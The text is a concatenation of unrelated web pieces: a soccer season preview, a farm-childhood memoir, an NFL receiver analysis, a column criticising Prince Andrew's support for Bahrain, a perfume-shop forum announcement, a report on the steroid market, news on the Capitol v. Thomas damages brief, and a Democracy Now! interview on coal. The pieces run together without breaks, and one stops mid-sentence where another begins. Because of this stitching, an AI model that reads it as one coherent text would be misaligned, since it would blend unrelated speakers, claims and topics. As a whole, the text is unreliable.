have left Southern California. The club is returning just nine players from last season. Shay Spitz (often the catalyst with his aggressive and yet skillful style) and George Davis IV (7 goals and 4 assists) have departed for Richmond. Matt Fondy’s 10 goals in 10 games earned the Northern California native a contract with Chivas USA. Goalkeeper Carl Woszcynski (six clean sheets last season) has left for champions Orlando City, while marauding full back Matthew Hall has moved up a division with the Ft. Lauderdale Strikers. Creative midfielder Rodrigo Lopez also leaves a huge creative void in midfield after supplying 11 assists last season. In their place come former Chivas USA goalkeeper Patrick McLean, Charlotte’s William Pardo and Dayton’s Gibson Bardsley. Bardsley finished last season with nine goals and seven assists and was selected to the USLPRO 2nd Team. Among the returners, second year man Jimmy Turner is a smart outside back who picks and chooses his times to get forward. Chris Cortez will make up for the absence of Davis IV and Fondy. The former Chivas USA striker had nine goals and three assists last season including the equalizer in the 1-1 draw with the LA Galaxy Reserves. Captain and former Scottish Premier League player Allan Russell is the heart and soul of the squad. A holding midfielder last season, the Glasgow native’s versatility could see him occupying many different roles this season. Russell’s fellow countryman, Ryan O’Leary, is a player Spencer is very excited about. The former Aberdeen, Kilmarnock and Dundee United defender started his career at age 17. At 26, the center-back is at the peak of his powers and is expected to anchor the defense after a strong showing in preseason. The club also resigned Gabriel Gonzalez, a lanky midfielder who is hard to get around. On the offensive side of the ball, the former Ventura County Fusion playmaker is very skillful with the ball at his feet and has an eye for the killer pass. “Overall we have a good mix of players, both young and old,” Spencer said. “We are really excited about the signings we've made and we think our talent is going to compete extremely well in this league.” Even Mansouri has commented that he believes this roster is stronger than last year’s side. On the sidelines, Dariush Yazdani will be in charge for his first full professional season after taking over on a caretaker basis last year after the departure of Jesus Rico-Sanz. Yazdani had a decorated playing career with the likes of Bayer Leverkusen in Germany and Charleroi in Belgium as well as winning 63 caps for Iran. The former Blues player turned coach had mixed results last season but is in close contact with Spencer as the team will look to keep its hallmark of being a possession oriented club. “We want to possess the ball and put our opponents in uncomfortable positions,” Spencer explained, “but we have to know how to make the necessary adjustments based on the way other teams play, the environment we are in, or if we have injuries.” Despite the desire to keep possession, versatility is the name of the game for the fourth year club. The schedule is once again unforgiving for the Southern California outfit. The Blues open the season about two weeks earlier than the majority of teams with a March 22nd trip up the 405 to face the LA Galaxy II at the Stubhub Center. The two teams will meet three times in the first two months of the season. There will be no rest for the weary as April brings two home matches in four days against an often physical Harrisburg City Islanders side and the third match against the LA Galaxy II. June 11-13 will also be a tough stretch with the Blues traveling to Orlando to face the reigning champions before heading to Charlotte to face last season’s finalist just two days later. Back to back games on August 8-9 against an improving Pittsburgh squad and a Rochester side looking to rebuild after last year’s debacle. Another date worth marking on the calendar is June 21st when Chivas USA’s Reserves will make the trip down to Irvine. Outlook: The biggest thing for Spencer is that the team gels quickly. A good start to the season will most likely mean a return to the postseason for the Orange County Blues. Last Season: 6th place with a 11-8-7 record with 52 goals for and 37 goals against. Lost in the first round of the playoffs 2-1 against the Charleston Battery.Kids Playing with Fire GluedToTheScreen Blocked Unblock Follow Following Jun 12, 2017 As a child in the 1950s, I lucked into the best of farm life… Less of the actual work More of the joy In our remote rural setting, we were also effectively a generation or so behind the modern world. I’m a bit of an anachronism. A regular chore in every household was to burn the trash. Maybe not in the Big City but it was common around small towns and farms. Picture this… a 5 year old boy sent forth with a handful of kitchen matches, instructed to make fire. It could consume an ENTIRE morning! kitchen matches and wall dispenser First, the chore part. I had to gather all the trash from all rooms in the farm house and outside waste bins, carry it across the drive to the corner of the big garden patch. There sat a rusty, sooty 55 gallon barrel. Of course, anything reusable had already been filtered from the trash… nothing with value or potential use gets thrown away on a farm. Grandpa subscribed to the big city newspaper so there were stacks of them in the “junk room”, which was a wondrous dusty storage room on one end of the front covered porch, just beside the kitchen door. The walls were lined, floor to ceiling, with shelves full of jars of canned fruits and vegetables. Several guns were propped in the corner. Mouse traps lurked in the shadows. I’d grab some newspapers for “starter” and some matches from the dispenser on the kitchen wall. Anyone who has watched the TV show Survivor knows that starting a fire and keeping it going are not as easy as it seems. It’s a skill. You can’t just throw some newspaper to the bottom of a barrel, dump trash in, light it up, and expect it to burn. No, it must burn fully. Completely. Only charred tin cans to fish out next time. Every trash burner has techniques learned over time. How to stack different materials, to allow air flow. Ideally, a single match at one of the notches cut out of the barrel near the bottom did the job. Slow start, steady growing burn, complete incineration. Some safety is also learned. A burn or two usually does the trick. But fire IS a temptress and unforgiving those with short attention spans. large cast iron cauldron About twice a year, Granny would make soap and ask me to build the fire for her. Next to the trash barrel, she had a very large cast iron pot… of the witches brew variety (like in somebody else’s photo here). The fire under it was made of mesquite and burned hot. It was a heavy, bulky, and dangerous arrangement. She made lye soap. I don’t remember what all went into it — I wish I had the recipe — except you had to get it all boiling, stirring regularly with an old broken hoe or rake handle. For a day or so after, the concoction cooled and solidified. Then, it was cut into wedges using a VERY large curved knife. The cut-up pieces were kept in a tote-sack in the junk room. Aside from the crude nature of my grandmother’s method, I’m betting the making of many modern soaps isn’t really all that different. I could be wrong. This soap was for washing laundry. She tossed a little chunk into each load when running the old washing machine that stood in a corner of the porch. Odd as it sounds, clothes came out smelling fresh and feeling wonderfully smooth. Most kids had a favorite patchwork blanket made by a bevy of loving relatives and/or church ladies. They called them quilting bees. Each square of the blanket design cut from a cloth bag that bulk flour came in, and hand sewn. Your blanket became softer after every washing. The feel was fine, the smell clean. Very different from burning the trashing or making soap, where you went away reeking of smoke and sweat. After creating fire, kids HAD to take a bath before going to bed… so we could smell that favorite blanket.Russell Street Report Street Talk Maclin Can Drive Passing Game from Slot The signing of veteran receiver Jeremy Maclin answers a question that must have come up at some point from the offensive staff during the recruiting process: is he a slot guy? Yes, Maclin can and will play the slot often when the team is in their three-receiver sets. Mike Wallace and Breshad Perriman are prototypical outside targets who run limited route trees. Wallace saw some snaps in the slot last season, especially when he went up against a CB who travels (meaning, a corner who didn’t stick to a particular side). But for the most part, he lined up outside the numbers. Perriman is still a work in progress and his route-running skills need to be less one-dimensional. In contrast, Maclin is a crafty route runner who can run the entire route tree. He can certainly run the “nine” routes and get vertical like Wallace and Perriman. However, he can slide inside and operate from an expansive route tree. With his ability to be a two-way option, he brings a lot of versatility to the offense. In Kansas City, 47.3% of Maclin’s snaps came from the slot in 2016, easily the most in his career. In 2015, he caught 27 passes and six TDs from the slot. Maclin shouldn’t be labeled a “slot receiver” in the truest sense because he can still provide plenty of value on perimeter routes, and he’ll be the starter when the team is in their base sets. But he’s certainly trending in that direction and fits Ozzie Newsome’s description of a “complementary” option the team identified as a need during their State of the Ravens address. In fact, given the ascension of Kansas City receivers Tyreek Hill and Chris Conley, there’s no doubt that Maclin would have continued to function as more of a complementary weapon on inside and underneath routes had he stayed in KC. What makes the former Chief and Eagle so dangerous on his routes? Maclin is a sudden route runner who can break sharply in and out of his cuts. He also understands how to disguise his routes. Compared to a guy like Eric Decker (also an excellent slot target, who the Ravens are rumored to still be interested in), Maclin isn’t as physical, but he’s comfortable working the inside terrain, and has the ability to break tackles and get loose in the open field. In Kansas City, Maclin was also a motion player in an offense that was heavy on pre-snap movement. Under Marty Mornhinweg, motion in the Ravens offense was more prevalent from the slot or inside target. For instance, Steve Smith would often go in motion and release from a “stack” position behind Wallace. Maclin is also going to be an important chess piece as a “move” and motion player in the run game. He can run sweeps and reverses. As I discussed in an article earlier this year, Roman’s run game weaves in decoy jet sweeps and other forms of misdirection from receivers, so Maclin’s ability on those plays will play a role in opening up the run and play-action passing game. All in all, Maclin’s abilities as a complete WR will make all the difference in how the passing game evolves in 2017. He’ll have the chance to be a safety valve on inside routes for Joe Flacco. He’ll also be able to take advantage of the deep safety attention that Perriman and Wallace attract. And he can still win one-on-one opportunities outside when he’s flexed to the X or Z spot. For the Ravens and Flacco especially, the slot has been a critical position for years. Flacco just lost Dennis Pitta who had the most receptions from the slot (50) of any TE last season. We know what Anquan Boldin meant to the team as an inside target on money downs. And then there was Smith, who would work the slot from time to time when the team needed it. Now it’s Maclin’s turn to be “that guy.”by The Duke of York will be the keynote speaker at a conference in London this Friday celebrating Bahrain as a place of religious freedom and tolerance of divergent opinions. Speaking during a visit to Bahrain last month, he said: “I believe that what’s happening in Bahrain is a source of hope for many people in the world and a source of pride for Bahrainis.” This is very strange, as the island kingdom of Bahrain has a proven record of jailing and torturing protesters demanding democratic rights for the Shia majority, an estimated 60 per cent of Bahraini citizens, from the Sunni al-Khalifa monarchy. In its annual report on human rights, the US State Department identifies many abuses, the most serious of which include “citizens’ inability to change their government peacefully; arrest and detention of protesters on vague charges, in some cases leading to their torture in detention”. It draws attention to the fact that “discrimination [has] continued against the Shia population”. None of this should be too surprising. In March 2011, the government in Bahrain crushed the Bahraini version of the Arab Spring, treating protesters and anybody associated with them, such as doctors who treated injured demonstrators, with extreme brutality. The Bahrain independent commission of inquiry, set up by the Bahraini government itself, described at least 18 different techniques used to mistreat or torture detainees including electric shocks, beating on the soles of the feet with rubber hoses, sleep deprivation and threats of rape. More than 30 Shia mosques, religious meeting places and holy sites were bulldozed on the pretext that they had no planning permission. Prince Andrew has long and controversial experience of Bahrain which he used to visit frequently as special representative for trade and investment. In 2010, an excoriating account of Prince Andrew’s behaviour was published in the Daily Mail by Simon Wilson, British embassy deputy chief of mission in Bahrain from 2001 to 2005, who wrote that the prince was known to the British diplomatic community as HBH: His Buffoon Highness. Mr Wilson tells stories of Prince Andrew’s arrogance, rudeness and self-regard. Among other things, the prince insisted that his valet should carry a six-foot ironing board, even in the five-star hotels in which Price Andrew stayed, so that his trousers should be ironed just right. Prince Andrew loved being among the absolute monarchs of the Gulf and was so awed by their wealth that he treated them with embarrassing sycophancy, says Mr Wilson, adding that “the thank-you letters he sent to his hosts after one visit to Bahrain – referring to ‘my little plane parked next to your stunning jet’ – made for cringe-making reading”. The prince was officially in Bahrain to promote British business, but Mr Wilson says that the British embassy was astonished when, in discussing the sale of British-made Hawk aircraft, he advised the Bahrainis not to buy it (but lease it). Mr Wilson attributes the prince’s boorishness to an inferiority complex, believing “his attitude usually drew attention to the fact that he was out of his depth”. Out of his depth then and out of his depth now, except that now the stakes are more important. Prince Andrew is no longer trade representative, having resigned in 2011, but he is helping in a PR campaign to enable the Bahraini government to regain international respectability while, at the same time, increasing repression at home. Further emphasising his cosy relations with British royalty, Bahrain’s King Hamad bin Isa al-Khalifa is expected to attend the Royal Windsor Horse Show next Sunday to watch the Kingdom of Bahrain Trophy. The meeting Prince Andrew is opening is called “This is Bahrain!” and is arranged by the Bahrain Federation of Expatriate Associations. Betsy B Mathieson, the BFEA’s general secretary, told me that the meeting “is to celebrate our cultural diversity, freedom of religion and the fact that multiculturalism not only survives but thrives in Bahrain at a time when many countries are faced with growing xenophobia and racial and religious tensions”. Unfortunately, the reality of life for most Bahrainis is one of growing violence and sectarianism. The UN special rapporteur on torture, Juan Mendez, has expressed his “deep disappointment” over Bahrain’s decision to postpone his visit indefinitely. He expressed his “compassion with the people of Bahrain who were expecting my visit, and in particular, victims of torture and ill-treatment and their families”. Jawad Fairooz, a Bahraini former MP, says that “recently the attack on the Shia has increased dramatically”. In exile in London, Mr Fairooz is one of 31 Shia Bahrainis arbitrarily stripped of their nationality 18 months ago. He says that, so far, the government has not fulfilled its promise to rebuild 38 bulldozed Shia mosques and religious meeting places and is demanding that their sites be changed “though some of them have been in the same locations for 200 years”. He says that Shia activists seeking civil rights are demonised as agents of Iran. Bahrain is on the verge of a deeper religious conflict between Shia and Sunni. A senior Shia cleric, Sheikh Hussain al-Najati, one of the 31 stripped of Bahraini citizenship, was given 48 hours to leave the country last month. Last month, Ayatollah Sheikh Issa Qassim, the most prominent Shia spiritual leader on the island, accused the Bahraini state of declaring “open war on the Shia sect”. Ayatollah Qassim’s call for continued non-violent opposition may not be heeded by all. The number of people in jail in Bahrain is not known but the opposition gives a figure of 3,500. “After three years of non-violence people are getting radicalised,” says Ala’a Shehabi, an activist in exile. “They have effectively removed all the non-violent leaders who used to lead street protests.” She believes that the vacuum is being filled by radical groups. I asked Ms Mathieson at the BFEA how she reconciled her claims about the spirit of tolerance and respect supposedly prevalent in Bahrain with the 31 Shia activists being stripped of citizenship. She replied: “The kingdom of Bahrain has the sovereign right to put national security before the human rights of the individual just as USA, UK and other countries.” She absolutely denies opposition suspicions that the BFEA event in London is in any way sponsored or paid for by the government of Bahrain and says its message is “one of peace, love, harmony and unity”. Bahrainis may have difficulty contradicting this since the interior minister threatened legal action against those who make allegations of torture. As for Prince Andrew, if he does turn up on Friday, he will play a small but ignoble role in concealing the tragedy of Bahrain. PATRICK COCKBURN is the author of Muqtada: Muqtada Al-Sadr, the Shia Revival, and the Struggle for Iraq.Search Query Display results as : Posts Topics Advanced Search Solstice Scents :: Solstice Scents News :: Solstice Scents News Share \| SOLSTICE SCENTS AUTUMN COLLECTION PART 2: TOMORROW AT 6 PM EST Author Message Solstice Scents Posts : 693 Join date : 2011-09-11 Admin6932011-09-11 Subject: SOLSTICE SCENTS AUTUMN COLLECTION PART 2: TOMORROW AT 6 PM EST Fri Oct 31, 2014 7:58 pm Subject: SOLSTICE SCENTS AUTUMN COLLECTION PART 2: TOMORROW AT 6 PM ESTFri Oct 31, 2014 7:58 pm The Part 2 Autumn Collection will be available for purchase tomorrow, Saturday, November 1st at 6 pm EST at www.solsticescents.com. We are pleased to present the Foxcroft Autumn Festival, which features a set of 7 fragrances that were not possible to offer along with the flagship Foxcroft Collection last year. These scents have been planned since that time and we are excited to finally bring them to you! When I crafted the chai accord for the Maplewood Inn fragrance in the Foxcroft Collection, I thought it was good enough to stand on its own. It has been tweaked significantly and also has a few companion notes, as you will see when you read the description for Sycamore Chai. For those new to our site, Foxcroft is a fictional town we created. There is a Foxcroft fragrance that was released several years ago and from there, the idea sprang to create a collection based within this town. Thus, the Foxcroft Collection was born. We have created a map for the town which can be viewed here. You will be able to locate most of the new fragrances on the map, with the exception of Owl Creek Aleworks: http://www.solsticescents.com/THE-TOWN-OF-FOXCROFT_c_72.html We also have a town newspaper. Back issues can be viewed here: http://www.solsticescents.com/FOXCROFT-BULLETIN-BACK-ISSUES_ep_55-1.html All orders from this release will receive the latest fall installment of the bulletin, not currently published online. These bulletins include our real recipes that we eat and love to share in the newsletters. All aspects of the Foxcroft Collection, both the original and the current, have been an intense labor of love. We have tried to build a virtual world through sight with our carefully staged product photos to the map and bulletin to pair with the olfactory experience in the fragrances. We hope you enjoy journeying to the newest places within the town. As always, perfume samples will be available for all of the fragrances. A beautiful gift set including all 7 of the fragrances will also be offered. Further details are provided at the end of this post. We will attempt to stock some of the body products with the highest demand should they sell out, but we want to disclose that we must move on to production of Part
. It estimated that between 29 and 34 percent of the athletes at the 2011 world championships in track and field in Daegu, South Korea used performance-enhancing drugs that season. As many as half of the competitors at the 2011 Pan-Arab Games in Doha, Qatar had recently juiced, the study found. (I was at those Pan-Arab Games, and privy to the barely noted fact that nine gold medals were stripped before the event even ended.) Amazingly enough, world-class athletes are merely the fine layer of frost atop the iceberg’s tip when it comes to the steroid economy. To illustrate, and speaking of ice, take Iceland. As part of this recent operation, a lab was busted there. Iceland sent five athletes total, all skiers, to the last Olympics. (Compare that to nine people who were arrested at the steroid lab.) It’s unlikely that an underground steroid economy in Iceland subsists on elite athletes alone. So who is driving this tremendous market? One answer is non-elite athletes. In years of reporting on performance-enhancing drugs, I’ve frequently been asked why athletes in smaller sports or facing lower stakes would dope, given that there’s little money in it for them. My answer: people like being good at sports, and anyone who has ever scheduled their life around training for a sport, no matter how big or small, would never have to ask that question. My alma mater, Columbia University, launched a steroid probe into the football team way back in 1988, when the team had not won a game in five years. Two players admitted to steroid use as part of that internal investigation. More than a decade later, while I was a Columbia student-athlete, two students were busted for selling steroids on campus, and one claimed he sold to an athlete. This is a university that gives no athletic scholarships and whose greatest sports successes (post-Lou Gehrig) have come in the pool, on the track, and in the fencing hall. I happen to know about these incidents only because I went there. And still, my reporting has shown that there are nowhere near enough sub-elite athletes to account for the booming trade in illegal steroids. So, again, who is driving this market? In my observation, the main customers for what’s being churned out of the illegal labs the DEA took down are gym-goers who want to get stronger and look different, supplemented by people in professions where physical strength is prized, such as police officers and soldiers. For a 2008 Sports Illustrated article on steroids that I co-wrote with L. Jon Wertheim, I spent several days in England with a man named Tony Fitton. Despite not having a college degree, in the 1980s Fitton was given a faculty position at Auburn University, in the National Strength Research Center. Fitton was already well-versed in steroid use. Years earlier, he had disrupted a study on the training effects of steroids when he began buying the treatment medication from other participants. At Auburn, Fitton’s job consisted mostly of helping legendary strongman Bill Kazmaier train. “I didn’t even have a bloody typewriter,” Fitton told me. He was, though, a rather brilliant kitchen chemist. He scoured pharmacology and medical texts, often experimenting on himself. He once noticed that a blood pressure drug in trials was causing a peculiar side effect — it made patients’ eyebrows grow together. Fitton figured that if the drug could regrow hair, he could sell it to steroid users to help with the bald patches that sometimes develop from steroid use. Today, you know that drug as minoxidil, the active ingredient in Rogaine. Fitton was also providing steroids to elite athletes. In the course of reporting that story, several NFL players admitted they’d been his clients — but I was surprised by what I saw when I got my hands on his old business ledger, and other documents related to his dealings. The ledger recounted about a year of his sales, and while college football and NFL players, power lifters, professional wrestlers and bodybuilders were among the buyers, the ledger was filled with a diverse smattering of customers, from gym owners to policemen and soldiers to droves of guys who just wanted to have bigger muscles. Years later, when I met with a convicted steroid dealer in Florida who’d been selling to a chiropractor working with the Washington Capitals, he told me that police officers and military personnel were steady clients. And, while he also sold to some competitive athletes, he said that young men who wanted to change their physique comprised most of the demand. He, himself, began taking steroids after admiring Arnold Schwarzenegger carrying a tree trunk in the 1985 film Commando. A year before that movie hit the theaters, Fitton was caught by a customs agent bringing steroids across the border from Mexico, and became the first person to be federally prosecuted for steroid smuggling. Steroids weren’t even controlled substances yet, but they did require a prescription, and he had more than 2,000 boxes worth of the steroid Dianabol in his car. In 1997, he was arrested again — he told me his supply was coming via commercial airline pilots who picked up steroids in countries where they could be purchased legally. By that point, Fitton had been arrested for steroid distribution three times, and had jumped bail twice. He was sentenced to four months in prison, but his punishment was delayed, because a legal dietary supplement company was happy to employ him and had arranged a chance for him to advise the Green Bay Packers on strength training. The Packers declined to comment on why the team would allow Fitton any contact with their players. Fitton, who was ultimately deported, might seem like an odd hire for a supplement company, but the supplement industry has a history of overlap with the steroid world. Patrick Arnold, the chemist who created designer steroids for BALCO, was better known in the workout world for having made muscle-building supplements, including androstenedione, the substance that first started performance-enhancing drug trouble for Cardinals slugger Mark McGwire when a reporter spotted it in his locker. At the time, it was legally available over the counter, and after it was mentioned in relation to McGwire in the news in 1998, sales reportedly exploded by 1,000%, thanks to people at home who wanted to be as muscly as Big Mac. Pick up any muscle mag at the grocery store, and you’ll get a sense of the target market. While many famous magazines are barely more substantial than pamphlets these days, Muscular Development, for example, can still stop a door. Past issues of the magazine have featured Q&A’s in which an expert will give specific “how to” advice on dissolving steroids for injection, or how long particular dosages will be effective, and how to limit the possibility of liver damage. Much of the magazine is filled with advertisements for dietary supplements that are clearly attempting to evoke steroid use. An advertisement for a website called legalsteroids.com shows products using nicknames of traditional steroids — “D-Bol” and “Winni-V” (Dianabol and Winstrol) — but with slightly altered chemical formulas from the familiar substances. Somatropin is a pharmaceutical name for human growth hormone; legalsteroids.com will sell you what it calls Somatroph HC. I asked an online customer service representative of the website how the company could make “legal steroids’’ and he said: “we’ve been able to take the effective parts of the illegal steroids and make it legal.’’ I’ve asked a company spokeswoman how, exactly, this is done but have not heard back. It remains unclear what’s in these sorts of products. Some supplements may actually be designer steroids. Supplement makers want their products to work, and the industry is lightly regulated, so steroids have been known to show up in over-the-counter products. The ads often depict muscle-bound men, and sometimes show photos of extremely fit and scantily clad women. An issue might feature a wide range of lifestyle advice to men, from the bizarre — don’t tattoo genitals because a medical report found (surprise!) there can be some unpleasant repercussions — to ads with the familiar tone of women’s magazine advice columns. One example gives four rules: “#1 – Respect Gym Etiquette;” “#2 — Train Hard & Listen More Than You Talk;” #3 – Let The Women Come To You (Animal Instinct 101);” and “#4 – Don’t Be Caught With the Wrong Supplements.” The content is tailored for men who want to be stronger, feel more energetic and better about themselves as well as turn the heads of women and other men. That, of course, is a far larger portion of the male population than the number of athletes dreaming of Olympic gold. It is also a market segment that is destined to grow as the Baby Boomers age. The number of men in their 40s who got prescriptions for testosterone more than quadrupled between 2001 and 2011, according to data published by the Journal of the American Medical Association. And guess what’s often cheaper and easier to get than prescribed, pharmaceutical grade testosterone? Chemical analogs of testosterone — that’s what steroids are — that someone sells on the black market or markets as a dietary supplement. In the course of my reporting on this subject, I’ve bought both testosterone and illicit steroids sold as supplements. The latter was quicker and cheaper to get. Law enforcement agents and steroid peddlers I’ve spoken to over the years say there’s no end in sight to the burgeoning market for steroids. There is loads of money to be made, legal risks are minimal — steroids aren’t exactly DEA’s top priority — and there’s no shortage of people who want to look like the statuesque models they see in the magazines.The US government has weighed in on the constitutionality of the $222,000 damage award in Capitol v. Thomas with a brief filed yesterday. The government suggests that the court avoid ruling on the constitutionality of the statutory damages clause of the Copyright Act. Should the court feel the need to rule on the constitutionality, it should find that the damages award does not violate the Due Process Clause of the Constitution. After a three-day trial, single mother Jammie Thomas was found to have willfully infringed on the record label's copyrights. The jury awarded the RIAA statutory damages of $9,250 per song, for a total of $222,000, out of a maximum of $150,000 per track. Thomas quickly vowed to appeal the verdict, and when her motion of remittur was filed the following week, she asked for a ruling that the damages handed down by the jury were unconstitutionally excessive. The Copyright Act allows for statutory damages of $750 to $150,000. Thomas argued—as have other defendants—that since the labels make around 70¢ per song, even the $750 damage floor violates the Due Process Clause of the Constitution. In its reply to Thomas' motion, the RIAA argued that statutory damages need not have any relationship to actual damages. Furthermore, the group said that she had no basis to challenge the constitutionality of the damages since she had not objected to the jury instructions. The Department of Justice agrees. "This Court may find that defendant has waived her challenge to Congress's statutory damages provision by submitting 'jury instructions and approv[ing] the verdict form that allowed the jury to consider the full range of statutory damages under the Copyright Act," the DoJ argued in its brief. The DoJ also says that Thomas' motion ignores the fact that statutory damages are given in place of actual damages. "Statutory damages compensate those wronged in areas in which actual damages are hard to quantify in addition to providing deterrence to those inclined to commit a public wrong," argues the DoJ. It's also impossible for the true damages to be calculated, according to the brief, because it's unknown how many other users accessed the files in the KaZaA share in question and committed further acts of copyright infringement. That's significant, because it shows that the DoJ is siding with the RIAA when it comes to the issue of whether making a file available for download on a P2P network constitutes distribution. It was a contentious issue during the Thomas trial, with the jury instructions originally stating that making songs available is not the same as distribution. The RIAA objected to that instruction, and in its final form, all the jury had to do was find that Thomas made the files available. "[G]iven the findings of copyright infringement in this case, the damages awarded under the Copyright Act’s statutory damages provision did not violate the Due Process Clause; they were not'so severe and oppressive as to be wholly disproportioned to the offense or obviously unreasonable,'" concludes the DoJ. Given that Capitol v. Thomas was the first file-sharing lawsuit to go to trial and the fact that statutory damages have become a significant issue in a number of P2P lawsuits, the judge's decision in this case will be very closely watched.This is a rush transcript. Copy may not be in its final form. AMY GOODMAN: Over the past two weeks, we’ve examined the Obama administration’s push to develop a new generation of nuclear power plants. Last week, Obama pledged $8.3 billion in loan guarantees needed to build the nation’s first nuclear reactors in nearly three decades. But this is not the only controversial energy project being promoted by the White House. Earlier this month, Obama announced a major initiative to develop so-called clean coal technology. PRESIDENT BARACK OBAMA: The United States is the Saudi Arabia of coal. And that’s because, as I said, it’s one of our most abundant energy resources. If we can develop the technology to capture the carbon pollution released by coal, it can create jobs and provide energy well into the future. So, today, I’m announcing a carbon capture and storage taskforce that will be charged with the goal of figuring out how we can deploy affordable clean coal technology on a widespread scale within ten years. And we want to get up ten commercial demonstration projects, get those up and running by 2016. AMY GOODMAN: President Obama went on to acknowledge there’s some skepticism about if coal can ever be clean. He didn’t mention that advocates of coal mining have been pushing so-called clean coal schemes for over a century. The journalist and cultural historian Jeff Biggers explores the myth of clean coal in a new book on the secret history of coal mining in the President’s home state of Illinois. Jeff Biggers’ family has lived in southern Illinois for 200 years. In 1999, his family’s 150-year-old log cabin and 200-year-old settlement at Eagle Creek was destroyed by several strip-mining operations. In a moment, Jeff Biggers will join us in the studio, but first we turn to a short video produced to promote his book Reckoning at Eagle Creek: The Secret Legacy of Coal in the Heartland. JEFF BIGGERS: I stood with my mother and uncle at the rim of lunar expanse. It looked like an earthquake had devastated the area. A coal mining company had bought most of the holler where my family had lived for two centuries, along Eagle Creek and the Shawnee National Forest in southern Illinois, and blasted away the old home place. You see, my granddaddy had been a coal miner, but this work now was the dominion of anonymous heavy equipment operators, who plowed the wound of the strip pits into scabs and then just disappeared. The more I stood at the abyss of this strip mine and watched the frenetic pace of the bulldozers, the more I became convinced I had stumbled onto the scene of a crime in Eagle Creek. We had literally stripped away the most troubling issues of the coal industry from our historical memory. We never discussed the fact that Native Americans, such as the Shawnee in our hollers, had been removed as part of a national policy by Thomas Jefferson, or that the first coal industry in the land of Lincoln and Obama had been launched with legal black slaves, or that the environmental havoc unleashed by strip mining had not only poisoned some of our most diverse forest and waterways in the heartland, but also wiped out our families. Coal had created a stunning anatomy of denial in every generation, including today. “Clean coal” was simply another motto that had been peddled in Chicago since 1895. At the crossroads of the great American experience here in the Saudi Arabia of coal, we were hiding a 200-year-old secret legacy of coal in the American heartland, a legacy that started with Eagle Creek. AMY GOODMAN: The journalist and cultural historian Jeff Biggers, joining us here in New York. His new book, Reckoning at Eagle Creek: The Secret Legacy of Coal in the Heartland. We welcome you to Democracy Now! And thank you for walking the hour in New York, walking through the snowy streets. But you made it. JEFF BIGGERS: The gentle, beautiful streets of New York. It’s great to be back. AMY GOODMAN: Well, this is quite a tour de force, Reckoning at Eagle Creek. JEFF BIGGERS: Thank you. AMY GOODMAN: Take off from where you were speaking in the video, about the significance of coal, and what you heard just before, and that is President Obama talking about coal as — and the United States as the Saudi Arabia of coal and the potential he says that represents. JEFF BIGGERS: You know, my prologue is called “Welcome to the Saudi Arabia of Coal, Mr. President.” And I think it’s really one of the saddest scandals we have in our country, that any discussion about so-called clean coal never includes the staggering human and environmental cost. You know, a young man in the 1890s named Francis Peabody, a young coal peddler — of course, went on to create the world’s biggest coal company — was taking out ads for clean coal, smoke-free clean coal, in the Chicago Daily Tribune in the 1890s. And for the past century we’ve had to deal with this incredible scandal, these outrageous egregious human rights violations, the nightmare of the coal industry in the coalfields of America. And I think that is a reckoning our president needs to have, as the rest of the nation, of the dirty and the deadly reality of our coal policy. AMY GOODMAN: Well, talk. Tell us that history. Give us a thumbnail sketch. JEFF BIGGERS: Sure. You know, what I found out was the decisions today to allow the coal industry to operate, in whatever cost it takes to get that coal, at whatever expense — you know, we know, of course, about mountaintop removal in Appalachia. But the rape of Appalachia, as Harry Caudill wrote in his great classic Night Comes to the Cumberlands, actually came from Illinois, in my neck of the woods, that we’ve been dealing with strip mining since the 1850s. But Amy, if you go all the way back, when I looked at this amphitheater of death in my family, this massive strip mining thing that destroyed one of the most diverse forests in our nation in the heartland, I realized that our coal mining policies go all the way back to the removal of Native Americans, that we never talk about, with Thomas Jefferson. It goes back to legal slavery. Here we are in Black History Month, and no one ever talks about the fact that the coal industry, like the vicious tobacco industry, began with black slaves. And that stretched into Illinois. Even in the land of Lincoln, we had legal slavery working in the coal mines. And it was my people, in the backwoods, who was running the anti-slavery movement to stop it. And for the next century and a half, we’ve been having to stand up to big coal, as well, through our workplace safety movements with the unions, of course — and Mother Jones is buried in southern Illinois — to now our incredible environmental movements, to now having to stop these horrible coal-fired plants, and of course the new bridge to nowhere, with the FutureGen carbon capture and storage plant. AMY GOODMAN: Talk more about Eagle Creek. JEFF BIGGERS: Eagle Creek is all the way tucked into the southeastern corner of Illinois. You know, the Wisconsin glaciers didn’t arrive to this part of Illinois. We think of Illinois as Chicago and corn. But the bottom third are these wonderful, gorgeous Shawnee Hills. It’s the bridge between the Cumberlands and the Ozarks. And there was the earliest crossroads of the American culture. It’s where everybody was going to the West to discover the outside territories, the Northwest Territories. And here my people came in, in the 1800s, literally in 1805, as some of the earliest people, part of a woodland culture from Appalachia. And this kind of woodland culture was very related to the land. It was a culture that understood the diversity of the area, that understood that we could make a living throughout the region. Unfortunately, our property sat on five seams of coal. So when they created the Illinois Wilderness Act, which protected everywhere in this region where my family lived, there was a little loophole, because we had five seams of coal, and they pulled out a million tons of coal from our homestead, our historic homestead, enough to power America for four-and-a-half hours. That was the cost of 200 years of incredible history in our heritage. AMY GOODMAN: The Native Americans and the history of coal? JEFF BIGGERS: You know, Thomas Jefferson went off to England, of course, in the 1780s and ‘90s, and he realized when he saw the steam-power shovel and the discoveries of James Watt that just that little peck of coal could do more work than a horse. And so, he came back, and he really accelerated our earliest coal industry, of course with African slaves. But the problem was, these stones of fire, this coal, was sitting underneath all these Native Americans in the Ohio River Valley and of course in Appalachia. He sent Lewis and Clark West, not simply to discover the West, but to make a record of the coal deposits. And in fact, Captain Lewis said, “Oh, my god, in southern Illinois, these are some of the richest coal we’ve found.” And, of course, it was African slaves who were loading those barges. And it was the Shawnee Indians who were living there. And Jefferson, unfortunately — and Jefferson is one of my great heroes, of course — began this horrible policy that eventually resulted into the Indian Removal Act with Andrew Jackson, to literally remove the natives in order to get to the great resources of salt and coal. AMY GOODMAN: Jeff, I wanted to ask you about the ongoing resistance, mountaintop removal in West Virginia. Last month, activists took part in a tree-sit and stopped Massey Energy from mining on Coal River Mountain. We spoke to one of the tree sitters, Eric Blevins, on Democracy Now! ERIC BLEVINS: Right now I am sitting on a platform that is hanging in a tree, attached to the tree, probably about sixty or seventy feet in the air. I’m not sure exactly. Fifty yards away or so, there’s a bunch of holes where Massey Energy has been drilling to put explosives so they can blow up Coal River Mountain, the last mountain in the Coal River Valley area of West Virginia that has not been destroyed by mountaintop removal. And they actually just started blasting on the mountain within the past year. AMY GOODMAN: Can you comment on what they’re doing in West Virginia and Massey Energy? JEFF BIGGERS: You know, the folks in the coalfields are literally fed up. And so, now we have this incredible national movement that’s been going on that draws on a longtime movement, of course. 